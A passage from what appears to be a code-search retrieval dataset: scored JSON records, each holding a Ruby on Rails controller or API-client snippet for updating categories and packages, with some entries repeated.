"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.json { render json: @category, status: :accepted }\n else\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d73be49d38e7ee65ce2365be29d7c839",
"score": "0.5569526",
"text": "def set_api_v1_group_category_type\n @api_v1_group_category_type = Api::V1::GroupCategoryType.find(params[:id])\n end",
"title": ""
},
{
"docid": "0675f40516ffd91e2a04f84c82f498b8",
"score": "0.5551288",
"text": "def update\n @category = Category.find(params[:id])\n\n if @category.update(category_params)\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1f0a83cafb4848c580cbaf53de2fddb8",
"score": "0.55439335",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to client_package_path(:id => @package), notice: 'Paquete actualizado.' }\n # format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n # format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88ff838bd1b6c191856f021c5c86402a",
"score": "0.5542352",
"text": "def update\n @package = Package.find(params[:id])\n\n if @package.update(package_params)\n #head :no_content\n render json: @package, status: :accepted, location: @package #sera? status accepted? \n else\n render json: @package.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d133577bbe335fa60981690ef9cd76ef",
"score": "0.5537475",
"text": "def update\n @package = Package.find(params[:id])\n @package.update_attributes(params[:package])\n redirect_to \"/courses\"\n end",
"title": ""
},
{
"docid": "3d79de92068896dca245fac0bb6e2401",
"score": "0.55372554",
"text": "def update\n respond_to do |format|\n if @root_category.update(root_category_params)\n format.html { redirect_to @root_category, notice: 'Root category was successfully updated.' }\n format.json { render :show, status: :ok, location: @root_category }\n else\n format.html { render :edit }\n format.json { render json: @root_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96aabda11bbe96df70bcebcb8d35b784",
"score": "0.55367225",
"text": "def update\n @package = Package.find(params[:id])\n #TODO: check only correct packages are updated\n if @package.update(package_params)\n head :no_content\n else\n render json: @package.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "de4c95c92f91401cc8ed86d719c7fc9b",
"score": "0.55325776",
"text": "def variable_categories_id_put(id, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: VariableCategoryApi#variable_categories_id_put ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling variable_categories_id_put\" if id.nil?\n \n # resource path\n path = \"/variableCategories/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_2')\n if Configuration.debugging\n Configuration.logger.debug \"API called: VariableCategoryApi#variable_categories_id_put. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "7b07ee10e14b8166cbbefc5e10ac1dfc",
"score": "0.55308175",
"text": "def set_api_v1_category\n @api_v1_category = Api::V1::Category.find(params[:id])\n end",
"title": ""
},
{
"docid": "7417b8943da1ef48ecb577e60c892bee",
"score": "0.5520214",
"text": "def update\n @package = Package.find(params[:id])\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to page_path(\"admin\"), :notice => 'Package was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @package.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f9aa7439a9b98b1baf15794ba5e0137",
"score": "0.5519838",
"text": "def package_update\n load_content_package(Package.update(params))\n end",
"title": ""
},
{
"docid": "a5d8cf16cd56bb75703a77e36abe038d",
"score": "0.55154896",
"text": "def update\n respond_to do |format|\n if @root_category.update(root_category_params)\n format.html { redirect_to root_categories_url, notice: 'Éxito al guardar.' }\n format.json { render :show, status: :ok, location: @root_category }\n else\n format.html { render :edit }\n format.json { render json: @root_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c16e8da224c52c856a9283b7f7c163e0",
"score": "0.54988235",
"text": "def update\n @comptype = Comptype.find(params[:comptype][:id])\n\n respond_to do |format|\n if @comptype.update_attributes(params[:comptype])\n format.xml { head :ok }\n end\n end\n end",
"title": ""
},
{
"docid": "43927cb894636a54c28960a5204de053",
"score": "0.54959345",
"text": "def update\n @category = Category.find(params[:id])\n authorize @category\n if @category.update(category_params)\n render 'api/v1/categories/show'\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d5f9d07a401ccb2c2499812c6b4bb123",
"score": "0.54952323",
"text": "def update\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e368f3f3ea5d905ef00a62df47f2fb5",
"score": "0.5495226",
"text": "def update\n @cat.update(cat_params)\n render json: @cat\n end",
"title": ""
},
{
"docid": "490069c3241577153b3ff31e7771dc00",
"score": "0.5495168",
"text": "def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'category was successfully updated.'\n format.html { redirect_to admin_categories_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f21b2651821e35af215eced1fea6942f",
"score": "0.54919267",
"text": "def update_or_create(id, package)\n puts \" + PackageApiWrapper POST #{NLP_URL}/packages/#{id}\"\n RestClient::Request.execute(\n url: \"#{NLP_URL}/packages/#{id}?timeout=#{INIT_TIMEOUT}\",\n method: :post,\n read_timeout: (INIT_TIMEOUT.to_i + 100),\n payload: package[:data]\n )\n end",
"title": ""
},
{
"docid": "0d80f11a75556348d62b04e05f679652",
"score": "0.548806",
"text": "def update\n respond_to do |format|\n if @api_v1_group_category_type.update(api_v1_group_category_type_params)\n format.html { redirect_to @api_v1_group_category_type, notice: 'Group category type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_group_category_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_group_category_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "790e5492e7bcd11989af7157903309fb",
"score": "0.54821503",
"text": "def update\n respond_to do |format|\n if @categories.update(categories_params)\n format.html { redirect_to @categories, notice: 'Categories was successfully updated.' }\n format.json { render :show, status: :ok, location: @categories }\n else\n format.html { render :edit }\n format.json { render json: @categories.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f7e5e4411b3f33fa7304e6173a3b293",
"score": "0.54781765",
"text": "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"title": ""
},
{
"docid": "5f7e5e4411b3f33fa7304e6173a3b293",
"score": "0.54781765",
"text": "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"title": ""
},
{
"docid": "23b5f5e4dacfb330cb1e0ffd4590ef63",
"score": "0.5455946",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "68bd7cdff7633afac76318ccf7234ae6",
"score": "0.54550976",
"text": "def update\n @group_category = GroupCategory.find(params[:id])\n\n respond_to do |format|\n if @group_category.update_attributes(params[:group_category])\n format.html { redirect_to(group_categories_url, :notice => 'Group category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c1cf41ae3a0e0832108fa291a6e79c8",
"score": "0.544512",
"text": "def test_should_update_group_via_API_XML\r\n get \"/logout\"\r\n put \"/groups/1.xml\", :group => { :name=>'renamed unit test group',\r\n :description=>'my new desc',\r\n :featured=>false }\r\n assert_response 401\r\n end",
"title": ""
},
{
"docid": "70484927bf3d7ab9b0f50d7c68d8aa13",
"score": "0.54398936",
"text": "def set_v1_category\n @v1_category = V1::Category.find(params[:id])\n end",
"title": ""
},
{
"docid": "8d589d5fe6fd72de57fe3bf54256cd5e",
"score": "0.5437425",
"text": "def update\n if @package.update(package_params)\n render json: @package\n else\n render json: @package.errors\n end\n end",
"title": ""
},
{
"docid": "42e2b495c27aa00f5c6282914a683f7d",
"score": "0.54374045",
"text": "def update\n flash[:notice] = 'Package Updated' if @package.update_attributes! params[:package]\n respond_with @owner, @package\n end",
"title": ""
},
{
"docid": "3a85cd022a5584b85f3e352d7f5d309c",
"score": "0.5432863",
"text": "def update_many\n if @categories.update_all(category_params)\n render json: @categories, status: :ok, location: categories_url\n else\n render json: @categories.map{ |category| category.errors }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "79713382bc59638aeffbe6e7d38901b2",
"score": "0.54325765",
"text": "def update\n @footprints_category = FootprintsCategory.find(params[:id])\n\n respond_to do |format|\n if @footprints_category.update_attributes(params[:footprints_category])\n flash[:notice] = 'Category Mapping was successfully updated.'\n format.html { redirect_to(footprints_categories_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @footprints_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c29af2c596f88cdbd315741b2dd22d0",
"score": "0.5428674",
"text": "def update\n @master_category = Master::Category.find(params[:id])\n\n respond_to do |format|\n if @master_category.update_attributes(params[:master_category])\n format.html { redirect_to(@master_category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @master_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ebc006558ac0ce6190158daa8c6d9f9",
"score": "0.5419757",
"text": "def update\n\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27b054ecde254adb11dc0cedcaa22065",
"score": "0.5418661",
"text": "def update\r\n @cargo_category = CargoCategory.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @cargo_category.update_attributes(params[:cargo_category])\r\n format.html { redirect_to(@cargo_category, :notice => 'Cargo category was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @cargo_category.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "5e1814a9b8990784c38a80d93839818f",
"score": "0.54170495",
"text": "def update\n if @category.update(category_params)\n respond_to_save_success(@category, [:categories])\n else\n respond_to_save_failure(:edit, @category)\n end\n end",
"title": ""
},
{
"docid": "647e3c9e2d0bfc1c2beb0880526f07ca",
"score": "0.5410206",
"text": "def update\n @cargo_category = CargoCategory.find(params[:id])\n\n respond_to do |format|\n if @cargo_category.update_attributes(params[:cargo_category])\n format.html { redirect_to(@cargo_category, :notice => 'Cargo category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cargo_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "574a98cb1f0421ce298519df1753a7c5",
"score": "0.54095376",
"text": "def update\n respond_to do |format|\n params[:categories_group][:unit_categories].each do |uc|\n @cguc = CategoriesGroupsUnitCategory.new(:unit_category_id => uc, :categories_group_id => @categories_group.id).save\n end\n if @categories_group.update(categories_group_params)\n format.html { redirect_to @categories_group, flash: { notice: 'Группа категорий \"' + @categories_group.alias + '\" была изменена', type: 'updated', state: 'ok' } }\n format.json { render :show, status: :ok, location: @categories_group }\n else\n format.html { render :edit }\n format.json { render json: @categories_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c87e34dfaa10944b1a937e54ef0b3e",
"score": "0.54078716",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9fb4a3ff449e6476cabf87e8e23ca497",
"score": "0.5406057",
"text": "def commit_category(mode)\n categ=category(target)\n if itemdef\n uid=find_definition_uid_by_name(itemdef.name)\n else\n uid=''\n end\n if mode==:put\n raise \"Category put not implemented.\"\n end\n # does the category already exist?\n\n begin\n self_get=api_xml(categ)\n raise 'Trying to add a category which already exists on server.'\n rescue AMEE::NotFound\n rescue AMEE::UnknownError# Workaround for T247\n end\n\n verbose \"Confirmed does not already exist\",Log4r::DEBUG\n\n begin\n parent_get=api_xml(File.dirname(categ))\n rescue AMEE::NotFound\n raise 'Trying to add category where parent not on server.'\n end\n \n verbose \"Confirmed parent does exist\",Log4r::DEBUG\n\n load_meta_docs\n human_name=meta['name'] || File.basename(categ).humanize\n api_xml(File.dirname(categ),\n mode,\n 'newObjectType'=>'DC',\n 'name'=>human_name,\n 'path'=>File.basename(categ),\n 'itemDefinitionUid'=>uid)\n end",
"title": ""
},
{
"docid": "7bef54c2ac9a8ef2c05b806223f75ec2",
"score": "0.539073",
"text": "def update\n @library_category = LibraryCategory.find(params[:id])\n\n respond_to do |format|\n if @library_category.update_attributes(params[:library_category])\n flash[:notice] = 'LibraryCategory was successfully updated.'\n format.html { redirect_to(@library_category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @library_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "540df4baea00610cf4f1120f42fcdca5",
"score": "0.5390631",
"text": "def update\n @doc_category = DocCategory.find(params[:id])\n\n respond_to do |format|\n if @doc_category.update_attributes(params[:doc_category])\n format.html { redirect_to(@doc_category, :notice => 'Doc category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3272c8a96e1b50e85e2742381ed9089f",
"score": "0.53875977",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category mis a jour!.'\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9f01738b6819b509a2e2e97a07f7f2e",
"score": "0.538614",
"text": "def new\n @package_category = PackageCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @package_category }\n end\n end",
"title": ""
},
{
"docid": "30e8d9586b0dbe7bec04f8032786156b",
"score": "0.5384817",
"text": "def update\n @package = Package.find(params[:id])\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31e1082f5db014a366f3e69d775bb944",
"score": "0.5384711",
"text": "def update\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d23072a7915a8fdafaef1cf27037e50",
"score": "0.5382734",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n render json: {success: true, status: :ok, location: @category} \n else \n render json: { errors: @category.errors },\n status: :unprocessable_entity \n end\n end\n end",
"title": ""
},
{
"docid": "cb3da46fc5d02d9ce985f433145841c6",
"score": "0.5381353",
"text": "def update\n @service_category = ServiceCategory.find(params[:id])\n\n respond_to do |format|\n if @service_category.update_attributes(params[:service_category])\n format.html { redirect_to(@service_category, :notice => 'Service category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c238919e1806baeb1a9be2cdbd16cef",
"score": "0.5379049",
"text": "def update\n respond_to do |format|\n if @generic_package.update(generic_package_params)\n format.html { redirect_to @generic_package, notice: 'Generic package was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_package }\n else\n format.html { render :edit }\n format.json { render json: @generic_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1fd653bf22173e7a9b30f4ecd9de099d",
"score": "0.53789884",
"text": "def update\n @category = Category.find(params[:id])\n\n if @category.update(category_params)\n render :create, status: :ok\n else\n render json: {errors: @category.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d10ffd8bac63c464b65e554c8e6b186f",
"score": "0.53753835",
"text": "def set_colection_package\n @colection_package = Colection::Package.find(params[:id])\n end",
"title": ""
},
{
"docid": "1ac764b5ef0025e718d5f2d777c41d0a",
"score": "0.5372299",
"text": "def update\n @package = Package.find(params[:id])\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ac764b5ef0025e718d5f2d777c41d0a",
"score": "0.5372299",
"text": "def update\n @package = Package.find(params[:id])\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38979984bdedacd95706689e25f09f9e",
"score": "0.5371714",
"text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end",
"title": ""
},
{
"docid": "700f379ea2bcaffe6028f8f95e1e3463",
"score": "0.53658307",
"text": "def update\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to admins_packages_path, notice: 'Package was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30bc8ff9aee3dc9c305a83e2348f5537",
"score": "0.5356573",
"text": "def update\n @group_category = GroupCategory.find(params[:id])\n\n respond_to do |format|\n if @group_category.update_attributes(params[:group_category])\n format.html { redirect_to @group_category, :notice => 'Group category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "555731db713029dca20b2caecf9d34a7",
"score": "0.53507394",
"text": "def set_api_v1_package\n @api_v1_package = Api::V1::Package.packages_info({id:params[:id]})\n end",
"title": ""
},
{
"docid": "b37ce1685abda92a4be47b15cb299f0e",
"score": "0.5349479",
"text": "def update\n if not Category.find(params[:document][:categories].drop(1)).blank?\n @document.categories = []\n @document.categories << Category.find(params[:document][:categories].drop(1))\n end\n params[:document][:categories] << Category.find(params[:document][:categories].drop(1))\n\n if params[:document][:is_public] == 'true'\n @document.is_public = true\n else\n @document.is_public = false\n end\n\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69bde7593dbc4ce05e83dbe743f660c8",
"score": "0.53489506",
"text": "def update\n respond_to do |format|\n if @cat_libri.update(cat_libri_params)\n format.html { redirect_to @cat_libri, notice: 'La categoria è stata modificata con successo.' }\n format.json { render :show, status: :ok, location: @cat_libri }\n else\n format.html { render :edit }\n format.json { render json: @cat_libri.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc06f4cac0fd5f9bf464c86f2b8b0326",
"score": "0.5347211",
"text": "def update\n respond_to do |format|\n if @package.update(package_params)\n format.html { redirect_to package_description_path(PackageDescription.where(@package.package_description_id).last), notice: 'Package was successfully updated.' }\n format.json { render :show, status: :ok, location: @package }\n else\n format.html { render :edit }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aba82e3c411df5f37e65430d8fb814b8",
"score": "0.53450996",
"text": "def update\n add_breadcrumb 'Edit category'\n\n respond_to do |format|\n if @category.update(category_params)\n format.html do\n redirect_to @category, notice: 'Category was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json do\n render json: @category.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7ae598eae685ee1a8f328399b2116d6c",
"score": "0.53403807",
"text": "def update\n @category = Category.new(category_params)\n if @category.update\n render :json=> {:success=>true, :category=>@category} \n else\n render :json => {:success=>false, :message=>\"failure on update category\"}, :status=>200\n end\n end",
"title": ""
},
{
"docid": "876ac92a6143a496dfff471287c3a8ab",
"score": "0.53385925",
"text": "def update\n @package = current_user.packages.find(params[:id])\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: 'Package was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f2ba52d77c12e5e1f6634c1b1dace33",
"score": "0.5338575",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_panel_categories_path, notice: \"Категория #{@category.name} успешно обновлена\" }\n format.json { render :show, status: :created, location: admin_panel_categories_path }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b53efab67e683d3ca3a8ae2c8672d54",
"score": "0.533812",
"text": "def update\n @package = Package.find(params[:id])\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to @package, notice: ' Package was successfully updated. ' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5ef25835823eb1a387c387314d1d772",
"score": "0.53368556",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "826f580dd25778a87d1c8966a7f04745",
"score": "0.5336464",
"text": "def update\n new_position = documentation_category_params[:position].to_i\n new_category_id = documentation_category_params[:category_id]\n old_category_id = @documentation_category.category_id.to_s\n id = params[:id]\n\n recalc_positions(new_category_id, id, new_position)\n\n respond_to do |format|\n if @documentation_category.update(documentation_category_params)\n recalc_positions(old_category_id, nil) unless old_category_id == new_category_id\n\n format.js\n format.json { render :show, status: :ok, location: @documentation_category }\n else\n format.js { render js: 'alert(\"Помилка збереження\")' }\n format.json { render json: @documentation_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "145ab0e870b61178af7fc79ffcfd5619",
"score": "0.53354424",
"text": "def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73233e69c1d69ae87a0738c7f97e1972",
"score": "0.5333643",
"text": "def update\n @products = Product.all\n category_ids = params[:category][:category_id][1..-1]\n category_ids.each do |i|\n c = Category.find(i)\n @product.categories << c\n end\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { render :admin_branch, notice: 'Product was successfully created.' }\n format.json { render :show, status: :ok, location: :admin_branch }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "91b9ee25608bc7e094c6e16d5fde1d20",
"score": "0.53291494",
"text": "def update\n @package_products = Colection::PackageProduct.where(colection_package_id: params[:id])\n respond_to do |format|\n @colection_package.user_updated_id = current_user.id\n if params[:variable].blank?\n @colection_package.cambio_categoria= 0\n else\n @colection_package.cambio_categoria= params[:variable]\n end\n if @colection_package.update(colection_package_params)\n @colection_package.verificar_paquete_nuevo= true\n format.html { redirect_to @colection_package, notice: 'Se actualizó con éxito el paquete.' }\n format.json { render :show, status: :ok, location: @colection_package }\n format.js { render 'colection/packages/create.js.erb' }\n\n else\n format.html { render :edit }\n format.json { render json: @colection_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edbfd3c488bf859983a3ed4f6cad276e",
"score": "0.53288215",
"text": "def update\n respond_to do |format|\n if @catgroup.update(catgroup_params)\n @catgroup.update_related_cat_ids\n format.html { redirect_to catgroups_path, notice: 'Catgroup was successfully updated.' }\n format.json { render :show, status: :ok, location: @catgroup }\n else\n format.html { render :edit }\n format.json { render json: @catgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.53226525",
